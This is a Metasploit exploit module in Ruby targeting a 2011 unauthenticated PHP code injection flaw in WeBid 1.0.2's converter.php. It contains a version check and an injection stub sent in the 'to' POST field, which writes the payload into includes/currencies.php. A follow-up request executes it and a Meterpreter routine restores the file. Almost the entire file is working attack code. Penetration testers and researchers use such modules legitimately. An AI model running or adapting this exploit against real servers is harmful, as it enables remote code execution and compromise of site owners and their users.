##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WeBid converter.php Remote PHP Code Injection',
        'Description' => %q{
          This module exploits a vulnerability found in WeBid version 1.0.2.
          By abusing the converter.php file, a malicious user can inject PHP code
          in the includes/currencies.php script without any authentication, which
          results in arbitrary code execution.
        },
        'Author' => [
          'EgiX', # Vulnerability Discovery, PoC
          'juan vazquez' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'OSVDB', '73609' ],
          [ 'EDB', '17487' ],
          [ 'URL', 'http://www.webidsupport.com/forums/showthread.php?3892' ]
        ],
        'Privileged' => false,
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'Payload' => {
        },
        'DisclosureDate' => '2011-07-05',
        'Targets' => [
          [ 'WeBid 1.0.2 / Ubuntu', {} ]
        ],
        'DefaultTarget' => 0,
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              core_channel_eof
              core_channel_open
              core_channel_read
              core_channel_write
              stdapi_fs_delete_file
              stdapi_fs_getwd
              stdapi_fs_search
            ]
          }
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to WeBid', '/WeBid'])
      ], self.class
    )

    self.needs_cleanup = true
  end

  def check
    uri = target_uri.path
    uri << '/' if uri[-1, 1] != '/'

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri, "docs/changes.txt")
    })

    if res and res.code == 200 and res.body =~ /1\.0\.2 \- 17\/01\/11/
      return Exploit::CheckCode::Appears
    end

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => uri + "converter.php"
    })

    if res and res.code == 200 and res.body =~ /WeBId.*CURRENCY CONVERTER/
      return Exploit::CheckCode::Detected
    end

    return Exploit::CheckCode::Safe
  end

  def on_new_session(client)
    peer = "#{client.peerhost}:#{client.peerport}"

    if client.type != "meterpreter"
      print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")
      print_error("The currencies.php won't be restored automatically.")
      return
    end

    # stdapi must be loaded before we can use fs.file
    client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")

    # Original currencies.php file
    currencies_php = <<-eof
      <?php
      $conversionarray[] = '1265375103';
      $conversionarray[] = array(
        array('from' => 'GBP', 'to' => 'AED', 'rate' => '')
      );
      ?>
    eof
    currencies_php = currencies_php.gsub(/^ {6}/, '')

    pwd = client.fs.dir.pwd
    print_status("Searching currencies.php file from #{pwd}")

    res = client.fs.file.search(nil, "currencies.php", true, -1)
    res.each do |hit|
      filename = "#{hit['path']}/#{hit['name']}"
      print_warning("Restoring #{filename}")
      client.fs.file.rm(filename)
      fd = client.fs.file.new(filename, "wb")
      fd.write(currencies_php)
      fd.close
    end

    print_status("Cleanup finished")
  end

  def exploit
    uri = target_uri.path
    uri << '/' if uri[-1, 1] != '/'
    peer = "#{rhost}:#{rport}"

    stub = "\0'));#{payload.encoded}?>"

    print_status("Injecting the PHP payload")

    response = send_request_cgi({
      'uri' => normalize_uri(uri, "converter.php"),
      'method' => "POST",
      'vars_post' => {
        "action" => "convert",
        "from" => "USD",
        "to" => stub
      }
    })

    if response and response.code != 200
      print_error("Server returned non-200 status code (#{response.code})")
      return
    end

    print_status("Executing the PHP payload")

    timeout = 0.01
    response = send_request_cgi({
      'uri' => normalize_uri(uri, "includes/currencies.php"),
      'method' => "GET",
      'headers' => {
        'Connection' => "close",
      }
    }, timeout)

    if response and response.code != 200
      print_error("Server returned non-200 status code (#{response.code})")
    end

    handler
  end
end
